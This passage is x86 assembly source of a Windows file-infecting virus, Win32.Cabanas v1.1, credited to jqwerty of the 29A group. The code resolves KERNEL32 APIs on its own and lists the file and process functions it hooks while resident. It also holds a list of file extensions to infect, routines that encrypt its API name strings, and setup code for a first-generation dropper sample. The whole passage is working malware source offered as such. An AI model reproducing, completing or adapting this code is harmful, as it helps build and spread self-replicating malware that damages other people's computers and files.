movzx eax,word ptr [edx+eax*2] ;get index into exported API functionz
|
||
|
||
Check_Index:
|
||
|
||
cmp eax,[ebp.ED_NumberOfFunctions] ;check for out of range index
|
||
jae Proc_Address_not_found
|
||
mov edx,ebx ;get address of exported API functionz
|
||
add edx,[ebp.ED_AddressOfFunctions]
|
||
add ebx,[edx+eax*4] ;get address of requested API function
|
||
mov eax,ebx
|
||
sub ebx,ebp ;take care of forwarded API functionz
|
||
cmp ebx,ecx
|
||
jb Proc_Address_not_found
|
||
|
||
End_GetProcAddressET:
|
||
|
||
mov [esp.(2*Pshd).Pushad_ecx],eax ;set requested Proc Address, if found
|
||
@SEH_RemoveFrame
|
||
popad
|
||
jmp Ret2Pshd
|
||
|
||
GetProcAddressET endp
|
||
|
||
goto_GetProcAddressET:
|
||
|
||
jmp GetProcAddressET
|
||
|
||
MyGetProcAddressK32: ;this function is simply a wraper to the GetProcAddress
|
||
; API. It retrieves the address of an API function
|
||
; exported from KERNEL32.
|
||
;on entry:
|
||
; EBX = KERNEL32 module handle
|
||
; ESI = pszAPIname (pointer to API name)
|
||
;on exit:
|
||
; ECX = API function address
|
||
; ECX = 0, if not found
|
||
|
||
pop eax
|
||
push esi
|
||
push ebx
|
||
push eax
|
||
|
||
MyGetProcAddress proc ;this function retrieves API adressez from KERNEL32
|
||
|
||
mov ecx,? ;this dynamic variable will hold an RVA pointer to the GetProcAddress API in the IAT
|
||
ddGetProcAddress = dword ptr $ - 4
|
||
jecxz goto_GetProcAddressET
|
||
push esi
|
||
push ebx
|
||
add ecx,[ebp + phost_hdr - ebp_num]
|
||
call [ecx] ;call the original GetProcAddress API
|
||
xchg ecx,eax
|
||
jecxz goto_GetProcAddressET ;if error, call my own GetProcAddress function
|
||
|
||
Ret2Pshd:
|
||
|
||
ret (2*Pshd)
|
||
|
||
MyGetProcAddress endp
|
||
|
||
MyGetModuleHandleW: ;this function retrieves the base address/module handle
|
||
; of KERNEL32 module previosly loaded to memory asumin
|
||
; the GetModuleHandleW API was found in the import
|
||
; table of the host
|
||
|
||
mov ecx,? ;this dynamic variable will hold an RVA pointer to the GetModuleHandleW API in the IAT
|
||
ddGetModuleHandleW = dword ptr $ - 4
|
||
jmp MyGetModuleHandle
|
||
|
||
MyGetModuleHandleA: ;this function retrieves the base address/module handle
|
||
; of KERNEL32 module previosly loaded to memory asumin
|
||
; the GetModuleHandleA API was found in the import
|
||
; table of the host
|
||
|
||
mov ecx,? ;this dynamic variable will hold an RVA pointer to the GetModuleHandleA API in the IAT
|
||
ddGetModuleHandleA = dword ptr $ - 4
|
||
|
||
MyGetModuleHandle proc ;this function retrieves the base adress of KERNEL32
|
||
;on entry:
|
||
; ECX = RVA pointer to GetModuleHandle(A/W) in the IAT
|
||
; TOS+04h (Arg1): pointer to KERNEL32 module name
|
||
; TOS+00h (return adress)
|
||
;on exit:
|
||
; Zero flag set = Base adress not found
|
||
; Zero flag clear = Base adress found
|
||
; EAX = KERNEL32 base adress
|
||
|
||
sub eax,eax ;set zero flag
|
||
pop ebx ;get return adress
|
||
pop eax ;Arg1
|
||
push ebx ;push return adress
|
||
mov ebx,[ebp + phost_hdr - ebp_num] ;get actual host base adress
|
||
jecxz end_MyGetModuleHandle ;if not valid GetModuleHandle(A/W) RVA, jump
|
||
push eax
|
||
call [ebx + ecx] ;call GetModuleHandle(A/W) API
|
||
chk_0: inc eax
|
||
jz end_MyGetModuleHandle ;if any error, not found, jump
|
||
dec eax
|
||
|
||
end_MyGetModuleHandle:
|
||
|
||
ret
|
||
|
||
MyGetModuleHandleX: ;this function retrieves the KERNEL32 base adress
|
||
; via an undocumented method. This function procedure
|
||
; doesnt work in Winblowz NT
|
||
|
||
mov eax,[ebx + 12345678h]
|
||
ptrForwarderChain = dword ptr $ - 4
|
||
cmp eax,12345678h
|
||
ddForwarderChain = dword ptr $ - 4
|
||
jnz chk_0
|
||
ret
|
||
|
||
MyGetModuleHandle endp
|
||
|
||
get_ebp2: mov al,0
|
||
jnc get_ebp ;clear carry (unicode version)
|
||
dec eax ;clear set (ansi version)
|
||
|
||
get_ebp: call pop_ebp
|
||
|
||
m_ebp:
|
||
|
||
v_end: ;virus code ends here
|
||
|
||
;uninitialized data ;these variablez will be adressed in memory, but dont waste space in the file
|
||
|
||
ImportHdr dd ? ;import table RVA of current host
|
||
pCodeTable dd ? ;pointer to encrypted chunkz of code ;these 2 variables may overlap.
|
||
org $ - 4 ;one is used at instalation stage,
|
||
pHandlez dd ? ;pointer to top of Handlez table ;the other one used when resident.
|
||
phost_hdr dd ? ;pointer to actual base adress of host
|
||
pcode_start dd ? ;pointer to start of virus code/data in memory
|
||
K32Mod dd ? ;KERNEL32 base adress
|
||
ddGetProcAddress2 dd ? ;adress where GetProcAddress API will be stored ;these 2 variables may overlap.
|
||
org $ - 4 ;one is used at instalation stage,
|
||
pPathNamez dd ? ;pointer to top of PathNamez table ;the other one used when resident.
|
||
pNewAPIs dd ? ;pointer to new API entry in the jump table
|
||
uni_or_ansi db ? ;needed to diferentiate unicode from ansi stringz
|
||
|
||
FunctionAdressez: ;this dwordz will hold the API function adressez used by the virus
|
||
|
||
ddCreateFileA dd ?
|
||
ddCreateFileW dd ?
|
||
ddFindClose dd ?
|
||
ddFindFirstFileA dd ?
|
||
ddFindFirstFileW dd ?
|
||
ddFindNextFileA dd ?
|
||
ddFindNextFileW dd ?
|
||
ddSetFileAttributesA dd ?
|
||
ddSetFileAttributesW dd ?
|
||
ddCloseHandle dd ?
|
||
|
||
ddCreateFileMappingA dd ?
|
||
ddMapViewOfFile dd ?
|
||
ddUnmapViewOfFile dd ?
|
||
ddSetFilePointer dd ?
|
||
ddSetEndOfFile dd ?
|
||
ddSetFileTime dd ?
|
||
ddGetWindowsDirectoryA dd ?
|
||
ddGetSystemDirectoryA dd ?
|
||
ddGetCurrentProcess dd ?
|
||
ddGetModuleFileName dd ?
|
||
ddWriteProcessMemory dd ?
|
||
ddWideCharToMultiByte dd ?
|
||
ddVirtualAlloc dd ?
|
||
|
||
v_stringz: ;the API namez used by the virus are decrypted here
|
||
|
||
vszKernel32 db 'KERNEL32',0
|
||
vszGetModuleHandleA db 'GetModuleHandleA',0
|
||
vszGetModuleHandleW db 'GetModuleHandleW',0
|
||
|
||
Exts db 'fxEtcR' ;list of extensionz to infect
|
||
db 0
|
||
|
||
FunctionNamez2: ;resident API namez, needed for dynamically API hookin
|
||
|
||
vszGetProcAddress db 'GetProcAddress',0
|
||
vszGetFileAttributesA db 'GetFileAttributesA',0
|
||
vszGetFileAttributesW db 'GetFileAttributesW',0
|
||
vszMoveFileExA db 'MoveFileExA',0
|
||
vszMoveFileExW db 'MoveFileExW',0
|
||
vsz_lopen db '_lopen',0
|
||
vszCopyFileA db 'CopyFileA',0
|
||
vszCopyFileW db 'CopyFileW',0
|
||
vszOpenFile db 'OpenFile',0
|
||
vszMoveFileA db 'MoveFileA',0
|
||
vszMoveFileW db 'MoveFileW',0
|
||
vszCreateProcessA db 'CreateProcessA',0
|
||
vszCreateProcessW db 'CreateProcessW',0
|
||
|
||
FunctionNamez:
|
||
|
||
vszCreateFileA db 'CreateFileA',0
|
||
vszCreateFileW db 'CreateFileW',0
|
||
vszFindClose db 'FindClose',0
|
||
vszFindFirstFileA db 'FindFirstFileA',0
|
||
vszFindFirstFileW db 'FindFirstFileW',0
|
||
vszFindNextFileA db 'FindNextFileA',0
|
||
vszFindNextFileW db 'FindNextFileW',0
|
||
vszSetFileAttributesA db 'SetFileAttributesA',0
|
||
vszSetFileAttributesW db 'SetFileAttributesW',0
|
||
|
||
non_res: ;non-resident API namez
|
||
|
||
vszCloseHandle db 'CloseHandle',0
|
||
vszCreateFileMappingA db 'CreateFileMappingA',0
|
||
vszMapViewOfFile db 'MapViewOfFile',0
|
||
vszUnmapViewOfFile db 'UnmapViewOfFile',0
|
||
vszSetFilePointer db 'SetFilePointer',0
|
||
vszSetEndOfFile db 'SetEndOfFile',0
|
||
vszSetFileTime db 'SetFileTime',0
|
||
vszGetWindowsDirectory db 'GetWindowsDirectoryA',0
|
||
vszGetSystemDirectory db 'GetSystemDirectoryA',0
|
||
vszGetCurrentProcess db 'GetCurrentProcess',0
|
||
vszGetModuleFileName db 'GetModuleFileNameA',0
|
||
vszWriteProcessMemory db 'WriteProcessMemory',0
|
||
vszWideCharToMultiByte db 'WideCharToMultiByte',0
|
||
vszVirtualAlloc db 'VirtualAlloc',0
|
||
|
||
EndOfFunctionNamez db 0
|
||
|
||
szCopyright db "(c) Win32.Cabanas v1.1 by jqwerty/29A.",0
|
||
|
||
org (non_res + 1)
|
||
v_end2:
|
||
|
||
NewAPItable db nAPIS dup (?)
|
||
|
||
FindData WIN32_FIND_DATA ? ;this structure will hold data retrieved trhu FindFirst/Next APIz
|
||
|
||
PathName db MAX_PATH dup (?) ;filenamez will be stored here for infection
|
||
|
||
virtual_end: ;end of virus virtual memory space (in PE filez)
|
||
|
||
Handlez db nHANDLEZ dup (?) ;Handlez table
|
||
|
||
PathNamez db nPATHNAMEZ dup (?) ;PathNamez table
|
||
|
||
virtual_end2: ;end of virus virtual memory space (in flat memory)
|
||
|
||
first_generation: ;this routine will be called only once from the first generation sample,
|
||
;it initializes some variables needed by the virus in the first run.
|
||
jumps
|
||
push NULL
|
||
call GetModuleHandleA
|
||
test eax,eax
|
||
jz exit
|
||
xchg ecx,eax
|
||
call ref
|
||
ref: pop ebx
|
||
|
||
mov eax,ebx
|
||
sub eax,ref - host
|
||
sub eax,ecx
|
||
sub eax,[add_1st_val]
|
||
mov [ebx + code_table - ref],eax
|
||
|
||
mov al,6Ah
|
||
ror al,1
|
||
xor al,[xor_2nd_val]
|
||
mov [ebx + code_table + 6 - ref],al
|
||
|
||
mov eax,ebx
|
||
sub eax,ref - code_table
|
||
sub eax,ecx
|
||
neg eax
|
||
mov [ebx + delta_host - ref],eax
|
||
|
||
mov [ebx + old_base - ref],ecx
|
||
|
||
mov eax,[ebx + pfnGMH - ref]
|
||
.if word ptr [eax] == 25FFh ;jmp [xxxxxxxx]
|
||
mov eax,[eax + 2]
|
||
.endif
|
||
sub eax,ecx
|
||
mov [ebx + ddGetModuleHandleA - ref],eax ;set GetModuleHandleA RVA pointer
|
||
|
||
mov eax,[ebx + pfnGPA - ref]
|
||
.if word ptr [eax] == 25FFh ;jmp [xxxxxxxx]
|
||
mov eax,[eax + 2]
|
||
.endif
|
||
sub eax,ecx
|
||
mov [ebx + ddGetProcAddress - ref],eax ;set GetProcAddress RVA pointer
|
||
|
||
cld ;encrypt API stringz
|
||
mov ecx,ve_string_size
|
||
lea esi,[ebx + ve_stringz - ref]
|
||
mov edi,esi
|
||
|
||
encrypt_stringz:
|
||
|
||
lodsb
|
||
cmp al,80h
|
||
lahf
|
||
xor al,0B5h
|
||
ror al,cl
|
||
stosb
|
||
sahf
|
||
.if zero?
|
||
movsb
|
||
.endif
|
||
dec ecx
|
||
cmp ecx,10
|
||
jnz encrypt_stringz
|
||
|
||
mov ecx,v_end2 - v_stringz
|
||
lea edi,[ebx + v_stringz - ref]
|
||
mov al,-1
|
||
rep stosb
|
||
|
||
jmp v_start
|
||
|
||
pfnGMH dd offset GetModuleHandleA
|
||
pfnGPA dd offset GetProcAddress
|
||
|
||
;Host code starts here
|
||
|
||
extrn MessageBoxA: proc
|
||
extrn ExitProcess: proc
|
||
|
||
host: push MB_OK ;display message box
|
||
@pushsz "(c) Win32.Cabanas v1.1 by jqwerty/29A"
|
||
@pushsz "First generation sample"
|
||
push NULL
|
||
call MessageBoxA
|
||
|
||
exit: push 0 ;exit host
|
||
call ExitProcess
|
||
|
||
end first_generation
|